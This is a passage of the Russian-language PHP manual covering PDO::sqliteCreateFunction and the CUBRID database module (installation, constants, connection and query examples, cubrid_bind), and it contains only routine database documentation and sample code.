UDF можно использовать в любом SQL-запросе, в котором позволяется использовать функции, например SELECT, UPDATE, а также в триггерах.

Список параметров

function_name

Имя функции для использовании в запросах.

callback

Функция обратного вызова для обработки вызовов SQL-функции.

Замечание: Функция обратного вызова должна возвращать значение понятного SQLite типа (то есть скалярного типа).

Эта функция должна быть определена следующим образом:

callback(mixed $value, mixed ...$values): mixed
value

Первый аргумент передаваемый в SQL-функцию.

values

Последующие аргументы.

num_args

Количество аргументов, которое принимает функция. Если задать равным -1, то функция будет принимать любое количество аргументов.

flags

Побитовая конъюнкция (ИЛИ) флагов. На данный момент поддерживается только флаг PDO::SQLITE_DETERMINISTIC, который определяет то, что функция всегда возвращает одинаковый результат для одинаковых входных значений.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.1.4 | Добавлен параметр flags.

Примеры

Пример #1 Пример использования PDO::sqliteCreateFunction()

<?php
function md5_and_reverse($string)
{
return strrev(md5($string));
}

$db = new PDO('sqlite:sqlitedb');
$db->sqliteCreateFunction('md5rev', 'md5_and_reverse', 1);
$rows = $db->query('SELECT md5rev(filename) FROM files')->fetchAll();
?>

В этом примере мы определили функцию, вычисляющую md5 сумму строки и переворачивающую её. Когда SQL-запрос будет запущен, полученные значения filename будут преобразованы этой функцией. Результирующий набор $rows будет содержать преобразованные значения.

Красота подобного подхода заключается в том, что вам не нужно после получения результирующего набора пробегаться по нему циклом foreach для вычисления нужных значений.

Подсказка

Вы можете использовать PDO::sqliteCreateFunction и PDO::sqliteCreateAggregate для переопределения стандартных агрегирующих функций SQLite.

Смотрите также

  • PDO::sqliteCreateAggregate
  • sqlite_create_function()
  • sqlite_create_aggregate()

User Contributed Notes

There are no user contributed notes for this page.


Модули для работы с базами данных отдельных производителей

  • CUBRID
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции CUBRID
    • Функции совместимости CUBRID MySQL
    • Устаревшие псевдонимы и функции CUBRID
  • dBase
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • dBase
  • Firebird/InterBase
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции Firebird/InterBase
  • IBM DB2 — IBM DB2, Cloudscape и Apache Derby
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции IBM DB2
  • MongoDB — Драйвер MongoDB
    • Установка и настройка
    • Обучающие материалы
    • Архитектура и внутреннее устройство драйвера — Обзор архитектуры драйвера и её особенностей
    • Безопасность
    • MongoDB\Driver — Классы драйвера MongoDB
    • MongoDB\BSON — Классы типов BSON и функции сериализации
    • MongoDB\Driver\Monitoring — Классы мониторинга и функции подписчика
    • MongoDB\Driver\Exception — Классы исключений
  • MySQL — MySQL драйверы и плагины
    • Обзор PHP драйверов MySQL
    • MySQLi — Улучшенный модуль MySQL (MySQL Improved)
    • Mysql_xdevapi
    • MySQL (Original) — Оригинальное API MySQL
    • Mysqlnd — Встроенный драйвер MySQL
  • OCI8 — Oracle OCI8
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Работа с соединениями OCI8 и Connection Pooling
    • Поддержка OCI8 Fast Application Notification (FAN)
    • Поддержка прозрачного для приложений восстановления после отказа (Transparent Application Failover или TAF) для OCI8
    • OCI8 и динамическая трассировка DTrace
    • Поддерживаемые типы данных
    • OCI8 Функции
    • OCICollection — Класс OCICollection
    • OCILob — Класс OCILob
    • Устаревшие наименования и функции OCI8
  • PostgreSQL
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Примеры
    • Функции PostgreSQL
    • PgSql\Connection — Класс PgSql\Connection
    • PgSql\Result — Класс PgSql\Result
    • PgSql\Lob — Класс PgSql\Lob
  • SQLite3
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • SQLite3 — Класс SQLite3
    • SQLite3Stmt — Класс SQLite3Stmt
    • SQLite3Result — Класс SQLite3Result
  • SQLSRV — Драйвер СУБД Microsoft SQL Server для PHP
    • Введение
    • Установка и настройка
    • Предопределённые константы
    • Функции SQLSRV

User Contributed Notes

There are no user contributed notes for this page.


CUBRID

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции CUBRID
    • cubrid_bind — Связывает переменные с подготовленным запросом
    • cubrid_close_prepare — Закрывает обработчик запроса
    • cubrid_close_request — Закрывает обработчик запроса
    • cubrid_col_get — Получение контента столбца типа коллекция по OID
    • cubrid_col_size — Получает количество элементов в столбце типа коллекция по OID
    • cubrid_column_names — Получить имена столбцов в результирующем наборе
    • cubrid_column_types — Получить типы столбцов в результирующем наборе
    • cubrid_commit — Подтверждение транзакции
    • cubrid_connect_with_url — Создаёт окружение для соединения с сервером CUBRID
    • cubrid_connect — Открывает соединение к серверу CUBRID
    • cubrid_current_oid — Возвращает OID текущей позиции курсора
    • cubrid_disconnect — Закрывает соединение с базой данных
    • cubrid_drop — Удаление экземпляра по OID
    • cubrid_error_code_facility — Получить код уровня, на котором произошла ошибка
    • cubrid_error_code — Получить код ошибки
    • cubrid_error_msg — Возвращает текст последней произошедшей ошибки
    • cubrid_execute — Выполняет подготовленный SQL-оператор
    • cubrid_fetch — Выбирает следующую строку из набора результатов
    • cubrid_free_result — Освобождает память, занятую данными результата
    • cubrid_get_autocommit — Возвращает настройку авто-коммита для соединения
    • cubrid_get_charset — Возвращает кодировку текущего соединения CUBRID
    • cubrid_get_class_name — Получает имя класса с помощью OID
    • cubrid_get_client_info — Возвращает версию клиентской библиотеки
    • cubrid_get_db_parameter — Возвращает параметры базы данных CUBRID
    • cubrid_get_query_timeout — Получает значение времени ожидания запроса
    • cubrid_get_server_info — Возвращает версию сервера CUBRID
    • cubrid_get — Получает столбец, используя OID
    • cubrid_insert_id — Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT
    • cubrid_is_instance — Проверяет, существует ли экземпляр, на который указывает OID
    • cubrid_lob_close — Закрывает данные BLOB/CLOB
    • cubrid_lob_export — Экспортирует данные BLOB/CLOB в файл
    • cubrid_lob_get — Получает данные BLOB/CLOB
    • cubrid_lob_send — Читает данные BLOB/CLOB и отправляет их прямо в браузер
    • cubrid_lob_size — Получает размер данных BLOB/CLOB
    • cubrid_lob2_bind — Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров
    • cubrid_lob2_close — Закрывает объект LOB
    • cubrid_lob2_export — Экспортирует LOB-объект в файл
    • cubrid_lob2_import — Импортирует данные BLOB/CLOB из файла
    • cubrid_lob2_new — Создаёт объект LOB
    • cubrid_lob2_read — Производит чтение из данных BLOB/CLOB
    • cubrid_lob2_seek64 — Перемещает курсор LOB-объекта
    • cubrid_lob2_seek — Перемещает курсор LOB-объекта
    • cubrid_lob2_size64 — Получает размер LOB-объекта
    • cubrid_lob2_size — Получает размер LOB-объекта
    • cubrid_lob2_tell64 — Сообщает положение курсора LOB-объекта
    • cubrid_lob2_tell — Сообщает положение курсора LOB-объекта
    • cubrid_lob2_write — Записывает в LOB-объект
    • cubrid_lock_read — Устанавливает блокировку чтения для данного OID
    • cubrid_lock_write — Устанавливает блокировку записи для данного OID
    • cubrid_move_cursor — Перемещает курсор в результате
    • cubrid_next_result — Получает результат следующего запроса при выполнении нескольких SQL-операторов
    • cubrid_num_cols — Возвращает количество столбцов в наборе результатов
    • cubrid_num_rows — Получить количество строк в наборе результатов
    • cubrid_pconnect_with_url — Открывает постоянное соединение с сервером CUBRID
    • cubrid_pconnect — Открывает постоянное соединение с сервером CUBRID
    • cubrid_prepare — Подготавливает SQL-выражение к выполнению
    • cubrid_put — Обновляет столбец с использованием OID
    • cubrid_rollback — Откат транзакции
    • cubrid_schema — Получает запрошенную информацию о схеме
    • cubrid_seq_drop — Удаляет элемент из столбца типа последовательности, используя OID
    • cubrid_seq_insert — Вставляет элемент в столбец типа последовательности, используя OID
    • cubrid_seq_put — Обновляет значение элемента столбца типа последовательности, используя OID
    • cubrid_set_add — Вставляет один элемент для установки столбца типа с помощью OID
    • cubrid_set_autocommit — Устанавливает режим авто-коммита для соединения
    • cubrid_set_db_parameter — Устанавливает параметры базы данных CUBRID
    • cubrid_set_drop — Удаляет элемент из столбца заданного типа, используя OID
    • cubrid_set_query_timeout — Устанавливает время ожидания выполнения запроса
    • cubrid_version — Получить версию модуля CUBRID PHP
  • Функции совместимости CUBRID MySQL
    • cubrid_affected_rows — Количество строк, затронутых последним SQL-запросом
    • cubrid_client_encoding — Возвращает кодировку текущего соединения CUBRID
    • cubrid_close — Закрывает соединение с базой данных
    • cubrid_data_seek — Переместить внутренний указатель в результирующем наборе CUBRID
    • cubrid_db_name — Получение имени базы данных из результата cubrid_list_dbs
    • cubrid_errno — Возвращает код ошибки предыдущей операции CUBRID
    • cubrid_error — Возвращает текст последней произошедшей ошибки
    • cubrid_fetch_array — Извлечение строки из результирующего набора в виде ассоциативного массива, индексированного массива или обоих сразу
    • cubrid_fetch_assoc — Извлечь строку из результирующего набора в виде ассоциативного массива
    • cubrid_fetch_field — Получение информации о столбце результирующего набора в виде объекта
    • cubrid_fetch_lengths — Возвращает массив, содержащий длины всех столбцов текущей строки
    • cubrid_fetch_object — Извлечь следующую строку как объект
    • cubrid_fetch_row — Извлечь строку из результирующего набора в виде индексированного массива
    • cubrid_field_flags — Получить строку, содержащую флаги столбца по указанному индексу
    • cubrid_field_len — Получить максимальную длину указанного столбца
    • cubrid_field_name — Получить имя указанного столбца
    • cubrid_field_seek — Переместить внутренний указатель результирующего набора на указанный столбец
    • cubrid_field_table — Получить имя таблицы, которой принадлежит указанный столбец
    • cubrid_field_type — Получить тип указанного столбца
    • cubrid_list_dbs — Получить массив со списком всех баз данных CUBRID
    • cubrid_num_fields — Получить количество столбцов в результирующем наборе
    • cubrid_ping — Проверяет, живо ли соединение к серверу и переподключает его, если нет
    • cubrid_query — Отправка запроса CUBRID
    • cubrid_real_escape_string — Экранирование специальных символов в SQL-запросе
    • cubrid_result — Получить значение из заданного столбца заданной строки
    • cubrid_unbuffered_query — Выполнение запроса без загрузки результата в память
  • Устаревшие псевдонимы и функции CUBRID
    • cubrid_load_from_glo — Читает данные из экземпляра GLO и записывает их в файл
    • cubrid_new_glo — Создаёт экземпляр glo
    • cubrid_save_to_glo — Сохраняет запрошенный файл в экземпляре GLO
    • cubrid_send_glo — Чтение данных из glo и вывод их в стандартное устройство вывода

User Contributed Notes

There are no user contributed notes for this page.


Введение

Эти функции позволяют получить доступ серверам баз данных CUBRID. Больше информации о CUBRID можно найти на сайте » CUBRID.

Также посмотрите » Документацию CUBRID.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Для того, чтобы эти функции были доступны, необходимо установить CUBRID и скомпилировать CUBRID PHP Library с его поддержкой.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/cubrid.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

Инструкцию по ручной установке под Linux и Windows читайте в файле build-guide.html, включённом в пакет.

User Contributed Notes

There are no user contributed notes for this page.


Настройка во время выполнения

Настройки времени исполнения отсутствуют.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

Существует четыре типа ресурсов, используемых в CUBRID. Первый - идентификатор соединения, второй - ресурс, хранящий результат запроса, и два последних содержат результаты запроса типов BLOB/CLOB.

идентификатор соединения

Идентификатор соединения, возвращаемый функциями cubrid_connect(),
cubrid_connect_with_url(),
cubrid_pconnect() и
cubrid_pconnect_with_url().

request identifier

Идентификатор запроса, возвращаемый функциями cubrid_prepare() и cubrid_execute().

Идентификатор LOB

Идентификатор LOB, возвращаемый функцией cubrid_lob_get().

LOB2 identifier

Идентификатор LOB, возвращаемый функцией cubrid_lob2_new() или взятый из результирующего набора.

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Следующие константы могут быть использованы при создании SQL-запросов. Для этого их можно задать в функциях cubrid_prepare() и cubrid_execute().

Флаги исполнения SQL-запроса CUBRID
Константа | Описание
CUBRID_INCLUDE_OID | Определяет, получать ли OID во время запроса.
CUBRID_ASYNC | Запуск запроса в асинхронном режиме.
CUBRID_EXEC_QUERY_ALL | Запуск запроса в синхронном режиме. Этот флаг необходимо устанавливать когда выполняются множественные SQL-запросы.

Следующие константы используются при извлечении результатов. Их можно задавать в функциях cubrid_fetch() и cubrid_fetch_array().

Флаги извлечения CUBRID
Константа | Описание
CUBRID_NUM | Получить результат в виде индексированного массива (первый индекс 0).
CUBRID_ASSOC | Получить результат в виде ассоциативного массива.
CUBRID_BOTH | Получить результат в виде и индексированного и ассоциативного массивов (по умолчанию).
CUBRID_OBJECT | Получить результат в виде объекта.
CUBRID_LOB | Константа CUBRID_LOB может быть использована при работе с LOB объектами. Её можно задать в функциях cubrid_fetch(), cubrid_fetch_row(), cubrid_fetch_array(), cubrid_fetch_assoc() и cubrid_fetch_object().

Следующие константы используются при позиционировании курсора в результирующем наборе. Они передаются и возвращаются функцией cubrid_move_cursor().

Флаги позиционирования курсора CUBRID
Константа | Описание
CUBRID_CURSOR_FIRST | Переместить текущий курсов на первую запись.
CUBRID_CURSOR_CURRENT | Перемещать курсор относительно его текущей позиции. Используется по умолчанию.
CUBRID_CURSOR_LAST | Переместить текущий курсов на последнюю запись.
CUBRID_CURSOR_SUCCESS | Возвращается функцией cubrid_move_cursor() в случае успешного выполнения. Флаг удалён начиная с версии 8.4.1.
CUBRID_NO_MORE_DATA | Возвращается функцией cubrid_move_cursor() в случае возникновения ошибки. Флаг удалён начиная с версии 8.4.1.
CUBRID_CURSOR_ERROR | Возвращается функцией cubrid_move_cursor() в случае возникновения ошибки. Флаг удалён начиная с версии 8.4.1.

Следующие константы используются для задания режима автоматического подтверждения транзакций. Устанавливаются в функции cubrid_set_autocommit() или возвращаются cubrid_get_autocommit().

Флаги автоподтверждения транзакций CUBRID
Константа | Описание
CUBRID_AUTOCOMMIT_TRUE | Разрешить режим автоматического подтверждения транзакции.
CUBRID_AUTOCOMMIT_FALSE | Запретить режим автоматического подтверждения транзакции.

Следующие константы можно использовать для задания параметров базы данных. Используются в функции cubrid_set_db_parameter().

Флаги параметров базы данных CUBRID
Константа | Описание
CUBRID_PARAM_ISOLATION_LEVEL | Уровень изоляции для соединения.
CUBRID_PARAM_LOCK_TIMEOUT | Время ожидания транзакций.

Следующие константы используются для задания уровня изоляции для транзакций. Задаются в cubrid_set_db_parameter() и возвращаются из cubrid_get_db_parameter().

Флаги уровня изоляции транзакции CUBRID
Константа | Описание
TRAN_COMMIT_CLASS_UNCOMMIT_INSTANCE | Самый низкий уровень изоляции (1). Может произойти грязное, неповторяющиеся или фантомное чтение для кортежа и не повторяющееся чтение для таблицы.
TRAN_COMMIT_CLASS_COMMIT_INSTANCE | Относительно низкий уровень изоляции (2). Грязного чтения не будет, но неповторяющееся или фантомное может произойти.
TRAN_REP_CLASS_UNCOMMIT_INSTANCE | Стандартный уровень изоляции CUBRID (3). Может произойти грязное, неповторяющиеся или фантомное чтение для кортежа, но гарантируется повторяемость чтения для таблиц.
TRAN_REP_CLASS_COMMIT_INSTANCE | Относительно низкий уровень изоляции (4). Грязного чтения не будет, но неповторяющееся или фантомное может произойти.
TRAN_REP_CLASS_REP_INSTANCE | Относительно высокий уровень изоляции (5). Грязного и неповторяющегося чтения не будет, но фантомное может произойти.
TRAN_SERIALIZABLE | Наивысший уровень изоляции (6). Ни грязного, ни фантомного, ни неповторяющегося чтения не произойдёт.

Следующие константы используются при получении схемы базы дынных. Используются в функции cubrid_schema().

Флаги схемы CUBRID
Константа | Описание
CUBRID_SCH_CLASS | Получить имя и тип таблицы CUBRID.
CUBRID_SCH_VCLASS | Получить имя и тип представления CUBRID.
CUBRID_SCH_QUERY_SPEC | Получить SQL-код, которым создано представление.
CUBRID_SCH_ATTRIBUTE | Получить атрибуты столбца таблицы.
CUBRID_SCH_CLASS_ATTRIBUTE | Получить атрибуты таблицы.
CUBRID_SCH_METHOD | Получить метод экземпляра. Метод экземпляра - это метод, вызываемый экземпляром класса. Он используется чаще, чем метод класса, поскольку большинство операций запускаются внутри экземпляра.
CUBRID_SCH_CLASS_METHOD | Получить метод класса. Метод класса - это метод, вызываемый объектом класса. Обычно используется для создания нового экземпляра класса или для его инициализации. Также он используется для доступа к атрибутам класса и их изменения.
CUBRID_SCH_METHOD_FILE | Получить информацию о файле, в котором определён метод таблицы.
CUBRID_SCH_SUPERCLASS | Получить имя и тип таблицы из которой наследуются атрибуты.
CUBRID_SCH_SUBCLASS | Получить имя и тип таблицы в которой наследуются атрибуты текущей таблицы.
CUBRID_SCH_CONSTRAINT | Получить ограничения таблицы.
CUBRID_SCH_TRIGGER | получить триггеры таблицы.
CUBRID_SCH_CLASS_PRIVILEGE | Получить информацию о правах доступа к таблице.
CUBRID_SCH_ATTR_PRIVILEGE | Получить информацию о правах доступа к столбцу таблицы.
CUBRID_SCH_DIRECT_SUPER_CLASS | Получить таблицу, являющуюся прямым предком данной.
CUBRID_SCH_PRIMARY_KEY | Получить первичный ключ таблицы.
CUBRID_SCH_IMPORTED_KEYS | Получить импортированные ключи таблицы.
CUBRID_SCH_EXPORTED_KEYS | Получить экспортированные ключи таблицы.
CUBRID_SCH_CROSS_REFERENCE | Получить ссылочные отношения двух таблиц.

Следующие константы используются для обозначения ошибок. Они могут быть возвращены функцией cubrid_error_code_facility().

Коды ошибок CUBRID
Константа | Описание
CUBRID_FACILITY_DBMS | Произошла ошибка в CUBRID dbms.
CUBRID_FACILITY_CAS | Произошла ошибка в cas брокера CUBRID.
CUBRID_FACILITY_CCI | Произошла ошибка в CUBRID cci.
CUBRID_FACILITY_CLIENT | Произошла ошибка в клиенте PHP CUBRID.

User Contributed Notes

There are no user contributed notes for this page.


Примеры

Простой пример, в котором устанавливается соединение с CUBRID. В этом разделе рассказывается о самых базовых вещах и особенностях, на которые следует обратить внимание. Следующий код будет осуществлять соединение с CUBRID, что подразумевает, что сервер и брокер CUBRID запущены.

Пример ниже использует базу данных demodb, которая создаётся по умолчанию при установке. Убедитесь, что она создана.

Пример #1 Пример извлечения данных

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc-kr">
</head>
<body>
<center>
<table border=2>
<?php
/**
* Задаём информация для соединения. host_ip - это IP адрес,
* на котором запущен брокер CUBRID (например, localhost).
* host_port - соответственно его порт.
* Порт задаётся по умолчанию при установке.
* Подробности можно узнать в "Administrator's Guide."
*/
$host_ip = "localhost";
$host_port = 33000;
$db_name = "demodb";
/**
* Соединяемся с сервером CUBRID. Не производим фактического соединения, а
* только получаем информацию о нем. Причина, по которой мы не делаем
* фактического соединения в том, чтобы транзакции обрабатывались более
* эффективно в трёхзвенной архитектуре.
*/
$cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

if (!$cubrid_con) {
echo "Ошибка подключения к базе данных";
exit;
}
?>
 <?php
$sql = "select sports, count(players) as players from event group by sports";
/**
* Запрашиваем у сервера CUBRID результат SQL-запроса.
* Теперь производим фактическое соединение с сервером CUBRID.
*/
$result = cubrid_execute($cubrid_con, $sql);

if ($result) {
/**
* Получаем имена столбцов из результирующего набора.
*/
$columns = cubrid_column_names($result);
/**
* Получаем количество столбцов в результирующем наборе.
*/
$num_fields = cubrid_num_cols($result);
/**
* Выводим имена столбцов на экран.
*/
echo "<tr>";

while (list($key, $colname) = each($columns)) {
echo "<td align=center>$colname</td>";
}

echo "</tr>";

/**
* получаем результаты из результирующего набора.
*/
while ($row = cubrid_fetch($result)) {
echo "<tr>";

for ($i = 0; $i < $num_fields; $i++) {
echo "<td align=center>";
echo $row[$i];
echo "</td>";
}

echo "</tr>";
}
}
/**
* Модуль PHP в CUBRID работает в трёхуровневой архитектуре. Даже когда
* вызывается SELECT для обработки транзакций, он обрабатывается как часть
* транзакции. action. Следовательно, транзакцию надо либо подтвердить, либо
* откатить, даже когда вызывается SELECT.
*/
cubrid_commit($cubrid_con);
cubrid_disconnect($cubrid_con);
?>
 </body>
</html>

Пример #2 Пример вставки данных

<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=euc- kr">
</head>
<body>
<center>
<table border=2>
<?php
/**
* host_ip - IP адрес сервера, где установлен брокер CUBRID
* host_port - порт, на котором он слушает
* db_name - имя базы данных CUBRID
*/
$host_ip = "localhost";
$host_port = 33000;
$db_name = "demodb";
$cubrid_con = @cubrid_connect($host_ip, $host_port, $db_name);

if (!$cubrid_con) {
echo "Ошибка подключения к базе данных";
exit;
}
?>
 <?php
$sql = "insert into olympic (host_year,host_nation,host_city,"
. "opening_date,closing_date) values (2008, 'China', 'Beijing',"
. "to_date('08-08-2008','mm-dd- yyyy'),to_date('08-24-2008','mm-dd-yyyy')) ;";
$result = cubrid_execute($cubrid_con, $sql);
if ($result) {
/**
* Обработали успешно, можно фиксировать.
*/
cubrid_commit($cubrid_con);
echo "Inserted successfully";
} else {
/**
* Произошла ошибка, значит выводим её на экран и откатываемся.
*/
echo cubrid_error_msg();
cubrid_rollback($cubrid_con);
}
cubrid_disconnect($cubrid_con);
?>
 </body>
</html>

User Contributed Notes

There are no user contributed notes for this page.


Функции CUBRID

Содержание

  • cubrid_bind — Связывает переменные с подготовленным запросом
  • cubrid_close_prepare — Закрывает обработчик запроса
  • cubrid_close_request — Закрывает обработчик запроса
  • cubrid_col_get — Получение контента столбца типа коллекция по OID
  • cubrid_col_size — Получает количество элементов в столбце типа коллекция по OID
  • cubrid_column_names — Получить имена столбцов в результирующем наборе
  • cubrid_column_types — Получить типы столбцов в результирующем наборе
  • cubrid_commit — Подтверждение транзакции
  • cubrid_connect_with_url — Создаёт окружение для соединения с сервером CUBRID
  • cubrid_connect — Открывает соединение к серверу CUBRID
  • cubrid_current_oid — Возвращает OID текущей позиции курсора
  • cubrid_disconnect — Закрывает соединение с базой данных
  • cubrid_drop — Удаление экземпляра по OID
  • cubrid_error_code_facility — Получить код уровня, на котором произошла ошибка
  • cubrid_error_code — Получить код ошибки
  • cubrid_error_msg — Возвращает текст последней произошедшей ошибки
  • cubrid_execute — Выполняет подготовленный SQL-оператор
  • cubrid_fetch — Выбирает следующую строку из набора результатов
  • cubrid_free_result — Освобождает память, занятую данными результата
  • cubrid_get_autocommit — Возвращает настройку авто-коммита для соединения
  • cubrid_get_charset — Возвращает кодировку текущего соединения CUBRID
  • cubrid_get_class_name — Получает имя класса с помощью OID
  • cubrid_get_client_info — Возвращает версию клиентской библиотеки
  • cubrid_get_db_parameter — Возвращает параметры базы данных CUBRID
  • cubrid_get_query_timeout — Получает значение времени ожидания запроса
  • cubrid_get_server_info — Возвращает версию сервера CUBRID
  • cubrid_get — Получает столбец, используя OID
  • cubrid_insert_id — Возвращает идентификатор, сгенерированный для последнего обновлённого столбца AUTO_INCREMENT
  • cubrid_is_instance — Проверяет, существует ли экземпляр, на который указывает OID
  • cubrid_lob_close — Закрывает данные BLOB/CLOB
  • cubrid_lob_export — Экспортирует данные BLOB/CLOB в файл
  • cubrid_lob_get — Получает данные BLOB/CLOB
  • cubrid_lob_send — Читает данные BLOB/CLOB и отправляет их прямо в браузер
  • cubrid_lob_size — Получает размер данных BLOB/CLOB
  • cubrid_lob2_bind — Связывает объект LOB или строку в виде объекта LOB с подготовленным оператором в качестве параметров
  • cubrid_lob2_close — Закрывает объект LOB
  • cubrid_lob2_export — Экспортирует LOB-объект в файл
  • cubrid_lob2_import — Импортирует данные BLOB/CLOB из файла
  • cubrid_lob2_new — Создаёт объект LOB
  • cubrid_lob2_read — Производит чтение из данных BLOB/CLOB
  • cubrid_lob2_seek64 — Перемещает курсор LOB-объекта
  • cubrid_lob2_seek — Перемещает курсор LOB-объекта
  • cubrid_lob2_size64 — Получает размер LOB-объекта
  • cubrid_lob2_size — Получает размер LOB-объекта
  • cubrid_lob2_tell64 — Сообщает положение курсора LOB-объекта
  • cubrid_lob2_tell — Сообщает положение курсора LOB-объекта
  • cubrid_lob2_write — Записывает в LOB-объект
  • cubrid_lock_read — Устанавливает блокировку чтения для данного OID
  • cubrid_lock_write — Устанавливает блокировку записи для данного OID
  • cubrid_move_cursor — Перемещает курсор в результате
  • cubrid_next_result — Получает результат следующего запроса при выполнении нескольких SQL-операторов
  • cubrid_num_cols — Возвращает количество столбцов в наборе результатов
  • cubrid_num_rows — Получить количество строк в наборе результатов
  • cubrid_pconnect_with_url — Открывает постоянное соединение с сервером CUBRID
  • cubrid_pconnect — Открывает постоянное соединение с сервером CUBRID
  • cubrid_prepare — Подготавливает SQL-выражение к выполнению
  • cubrid_put — Обновляет столбец с использованием OID
  • cubrid_rollback — Откат транзакции
  • cubrid_schema — Получает запрошенную информацию о схеме
  • cubrid_seq_drop — Удаляет элемент из столбца типа последовательности, используя OID
  • cubrid_seq_insert — Вставляет элемент в столбец типа последовательности, используя OID
  • cubrid_seq_put — Обновляет значение элемента столбца типа последовательности, используя OID
  • cubrid_set_add — Вставляет один элемент для установки столбца типа с помощью OID
  • cubrid_set_autocommit — Устанавливает режим авто-коммита для соединения
  • cubrid_set_db_parameter — Устанавливает параметры базы данных CUBRID
  • cubrid_set_drop — Удаляет элемент из столбца заданного типа, используя OID
  • cubrid_set_query_timeout — Устанавливает время ожидания выполнения запроса
  • cubrid_version — Получить версию модуля CUBRID PHP

User Contributed Notes

There are no user contributed notes for this page.


Связывает переменные с подготовленным запросом

  • « Функции CUBRID
  • cubrid_close_prepare »
  • PHP Manual
  • Функции CUBRID
  • Связывает переменные с подготовленным запросом

cubrid_bind

(PECL CUBRID >= 8.3.0)

cubrid_bind — Связывает переменные с подготовленным запросом

Описание

cubrid_bind(
resource $req_identifier,
int $bind_index,
mixed $bind_value,
string $bind_value_type = ?
): bool

Функция cubrid_bind() используется для привязки значений к указанным меткам, либо знакам вопроса, в SQL-запросе, заданном cubrid_prepare(). Если не задан параметр bind_value_type, то будет использоваться строковый тип.

Замечание:

Если привязываемые данные имеют тип BLOB/CLOB, CUBRID попытается использовать их как потоки PHP. Если фактическое привязываемое значение не является потоком, то CUBRID конвертирует его в строку и будет считать полным путём к файлу, где эти данные лежат.

Если тип данных, которые будут связаны явно является ENUM, то параметр bind_value должен быть элементом ENUM заданным в виде строки.

В окружении сегмента CUBRID, bind_value_type должен быть включён в функцию cubrid_bind().

В следующей таблице приведены типы замещающих значений.

Привязка типов в CUBRID
Уровень поддержки | Тип привязки | Соответствующий SQL-тип
Поддерживается | STRING | CHAR, VARCHAR
 | NCHAR | NCHAR, NVARCHAR
 | BIT | BIT, VARBIT
 | NUMERIC or NUMBER | SHORT, INT, NUMERIC
 | FLOAT | FLOAT
 | DOUBLE | DOUBLE
 | TIME | TIME
 | DATE | DATE
 | TIMESTAMP | TIMESTAMP
 | OBJECT | OBJECT
 | ENUM | ENUM
 | BLOB | BLOB
 | CLOB | CLOB
 | NULL | NULL
Не поддерживается | SET | SET
 | MULTISET | MULTISET
 | SEQUENCE | SEQUENCE

Список параметров

req_identifier

Идентификатор запроса, полученный из cubrid_prepare().

bind_index

Расположение связываемых параметров. Начинаются с 1.

bind_value

Фактическое значения для привязки.

bind_value_type

Тип связываемого значения. (По умолчанию не задано. Таким образом, по умолчанию используется тип STRING. Однако, вы должны явно указать тип для значений NCHAR, BIT, или BLOB/CLOB).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.1 | Добавлена поддержка типов данных BLOB/CLOB.

Примеры

Пример #1 Пример использования cubrid_bind()

<?php
$conn = cubrid_connect("localhost", 33000, "demodb", "dba");

$result = cubrid_execute($conn, "SELECT code FROM event WHERE sports='Basketball' and gender='M'");
$row = cubrid_fetch_array($result, CUBRID_ASSOC);
$event_code = $row["code"];

cubrid_close_request($result);

$game_req = cubrid_prepare($conn, "SELECT athlete_code FROM game WHERE host_year=1992 and event_code=? and nation_code='USA'");
cubrid_bind($game_req, 1, $event_code, "number");
cubrid_execute($game_req);

printf("--- Dream Team (1992 United States men's Olympic basketball team) ---\n");
while ($athlete_code = cubrid_fetch_array($game_req, CUBRID_NUM)) {
$athlete_req = cubrid_prepare($conn, "SELECT name FROM athlete WHERE code=? AND nation_code='USA' AND event='Basketball' AND gender='M'");
cubrid_bind($athlete_req, 1, $athlete_code[0], "number");
cubrid_execute($athlete_req);
$row = cubrid_fetch_assoc($athlete_req);
printf("%s\n", $row["name"]);
}

cubrid_close_request($game_req);
cubrid_close_request($athlete_req);

cubrid_disconnect($conn);
?>

Результат выполнения данного примера:

--- Dream Team (1992 United States men's Olympic basketball team) ---
Stockton John
Robinson David
Pippen Scottie
Mullin C.
Malone Karl
Laettner C.
Jordan Michael
Johnson Earvin
Ewing Patrick
Drexler Clyde
Bird Larry
Barkley Charles

Пример #2 Пример использования cubrid_bind() с BLOB/CLOB

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
cubrid_execute($con,"CREATE TABLE php_cubrid_lob_test (doc_content CLOB)");
$sql = "INSERT INTO php_cubrid_lob_test(doc_content) VALUES(?)";
$req = cubrid_prepare($con, $sql);

$fp = fopen("book.txt", "rb");

cubrid_bind($req, 1, $fp, "clob");
cubrid_execute($req);
}
?>

Пример #3 Пример использования cubrid_bind() с BLOB/CLOB

<?php
$con = cubrid_connect("localhost", 33000, "demodb", "dba", "");
if ($con) {
cubrid_execute($con,"DROP TABLE if exists php_cubrid_lob_test");
